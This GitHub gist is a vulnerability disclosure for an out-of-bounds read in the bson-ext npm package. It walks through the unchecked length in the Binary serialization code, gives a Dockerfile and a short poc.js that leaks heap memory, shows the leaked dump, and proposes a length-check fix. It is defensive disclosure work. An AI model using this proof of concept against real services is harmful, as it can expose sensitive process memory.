Skip to content

Instantly share code, notes, and snippets.

@keltecc
Created March 8, 2024 03:05
Show Gist options
  • Save keltecc/a1a5c4eeef6d97f51e2f6dfe1f6d9c04 to your computer and use it in GitHub Desktop.
Save keltecc/a1a5c4eeef6d97f51e2f6dfe1f6d9c04 to your computer and use it in GitHub Desktop.
[bson-ext] out-of-bounds read PoC

Package details

Package manager: npm

Affected module: bson-ext

GitHub repo: mongodb-js/bson-ext

Module description:

A BSON parser Node.JS native addon.

BSON is short for Bin­ary JSON and is the bin­ary-en­coded seri­al­iz­a­tion of JSON-like doc­u­ments.

Vulnerability description

Out-of-bounds read in bson-ext package. Possible risk: leak of sensitive data.

Vulnerability: buffer over-read in bson serialization. During the serialization of specially crafted object it's possible to construct a large buffer that exceeds the initial buffer. The length is not checked so unmanaged bytes will be written to the output bson document.

How to reproduce

I've tested it on Ubuntu 22.04.3 LTS, kernel version: 5.15.0-84-generic.

There is a simple PoC in file poc.js.

You could use the provided Dockerfile in order to preserve the environment.

  1. Build the image
docker build --tag bson-ext-poc .
  1. Run the image
docker run --rm bson-ext-poc
  1. Expected behaviour
$ docker run --rm bson-ext-poc
00000000: 0d02 0000 0578 0000 0200 0000 0054 1905  .....x.......T..
00000010: 0000 0000 0000 0000 0000 0000 135a 7f7f  .............Z..
00000020: 7f7f 0000 3100 0000 0000 0000 6469 7361  ....1.......disa
00000030: 626c 6564 2d62 792d 6465 6661 756c 742d  bled-by-default-
00000040: 7638 2e74 7572 626f 6661 6e00 736f 6e2f  v8.turbofan.son/
00000050: 6c69 6200 2100 0000 0000 0000 6465 7674  lib.!.......devt
00000060: 6f6f 6c73 2e74 696d 656c 696e 652c 7638  ools.timeline,v8
00000070: 007f 0000 3100 0000 0000 0000 696e 7465  ....1.......inte
00000080: 726e 616c 2f63 7279 7074 6f2f 6365 7274  rnal/crypto/cert
00000090: 6966 6963 6174 6500 0000 0000 0000 0000  ificate.........
000000a0: 0000 0000 3100 0000 0000 0000 5c59 0000  ....1.......\Y..
000000b0: 0000 0000 347d 6e4f 670f 000e 5030 1505  ....4}nOg...P0..
000000c0: 0000 0000 2030 1505 0000 0000 2904 003b  .... 0......)..;
000000d0: 2027 0000 5100 0000 0000 0000 0000 0000   '..Q...........
000000e0: 0000 0000 003a 1d05 0000 0000 0000 0000  .....:..........
000000f0: 0000 0000 0000 0000 0000 0000 607d 1d05  ............`}..
00000100: 0000 0000 1600 0000 0000 0000 1600 0000  ................
00000110: 0000 0000 0027 1505 0000 0000 3069 1c05  .....'......0i..
00000120: 0000 0000 2100 0000 0000 0000 696e 7465  ....!.......inte
00000130: 726e 616c 2f63 7279 7074 6f2f 7369 6700  rnal/crypto/sig.
00000140: 7f7f 0000 1120 0000 0000 0000 706e 0f05  ..... ......pn..
00000150: 0000 0000 0000 0000 0000 0000 0820 0000  ............. ..
00000160: 0000 0000 0000 0000 0000 0000 0100 0000  ................
00000170: 0000 0000 704f 1d05 0000 0000 4a48 6801  ....pO......JHh.
00000180: 0000 0000 0100 0000 0000 0000 0000 0000  ................
00000190: 0000 0000 1050 1d05 0000 0000 0100 0000  .....P..........
000001a0: 0000 0000 0100 0000 0000 0000 0400 0000  ................
000001b0: 0000 0000 3050 1d05 0000 0000 0100 0000  ....0P..........
000001c0: 0100 0000 0100 0000 0100 0000 0100 0000  ................
000001d0: 0000 0000 486e 1c05 0000 0000 006f 1c05  ....Hn.......o..
000001e0: 0000 0000 386f 1c05 0000 0000 706f 1c05  ....8o......po..
000001f0: 0000 0000 386f 1c05 0000 0000 706f 1c05  ....8o......po..
00000200: 0000 0000 2870 1c05 0000 0000 000a       ....(p........

Please note that parts of printable text are leaked. Some non-printable bytes (it could be memory addresses) are also leaked.

Vulnerability details

Actual source code is here: https://github.com/mongodb-js/bson-ext/tree/v4.0.3

The vulnerability is located in file src/bson.cc. The interesting part is BSONSerializer::SerializeValue() function, especially the part with serialization of Binary type:

      } else if (NanEquals(Nan::New(bson->BINARY_CLASS_NAME_STR),
                           constructorString)) {
        this->CommitType(typeLocation, BSON_TYPE_BINARY);

        uint32_t length = NanTo<uint32_t>(
            NanGet(object, Nan::New(bson->BINARY_POSITION_PROPERTY_NAME_STR)));
        Local<Object> bufferObj = NanToObject(
            NanGet(object, Nan::New(bson->BINARY_BUFFER_PROPERTY_NAME_STR)));

        // Add the deprecated 02 type 4 bytes of size to total
        if (NanTo<int32_t>(NanGet(
                object, Nan::New(bson->BINARY_SUBTYPE_PROPERTY_NAME_STR))) ==
            0x02) {
          length = length + 4;
        }

        this->WriteInt32(length);
        this->WriteByte(
            object,
            Nan::New(bson->BINARY_SUBTYPE_PROPERTY_NAME_STR)); // write subtype

        // If type 0x02 write the array length aswell
        if (NanTo<int32_t>(NanGet(
                object, Nan::New(bson->BINARY_SUBTYPE_PROPERTY_NAME_STR))) ==
            0x02) {
          length = length - 4;
          this->WriteInt32(length);
        }

        // Write the actual data
        this->WriteData(node::Buffer::Data(bufferObj), length);
      }

The main target is length variable, it's taken from the input object's field. Then length is passed to WriteData() function along with the pointer to the buffer's data.

  void WriteData(const char *data, size_t length) {
    if ((size_t)((p + length) - destinationBuffer) > MAX_BSON_SIZE)
      throw "document is larger than max bson document size of 16MB";
    memcpy(p, data, length);
    p += length;
  }

Let's analyze it. The value (p - destinationBuffer) is just a size of already written output bytes and length is our provided value. So the condition is straightforward: the total size (with the written data) should not exceed MAX_BSON_SIZE value (17 MiB). So the maximum value of length is about 16 MiB.

After this there is a simple call to memcpy() function that just copies the bytes to the output buffer. If the actual length of data is less than length value then the memory after the buffer will be copied.

Suggested fix

Actually it's a single place where the buffer's size is not checked. I would suggest the same check as used in other places, something like that:

if ((uint32_t)node::Buffer::Length(bufferObj) < length) {
    ThrowAllocatedStringException(64, "Invalid length");
}

How it was found

I read the entire bson-ext code carefully and accidentally found this.

FROM node:21.6@sha256:65998e325b06014d4f1417a8a6afb1540d1ac66521cca76f2221a6953947f9ee
RUN apt update && apt install -y xxd
WORKDIR /tmp/poc
RUN npm install bson-ext@4.0.3
COPY poc.js .
ENTRYPOINT node poc.js | xxd
const bson = require("bson-ext");
const obj = {
'x': {
'_bsontype': 'Binary',
'position': 512,
'buffer': new Uint8Array(1),
},
};
const doc = bson.serialize(obj);
console.log(doc.toString('ascii'));
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment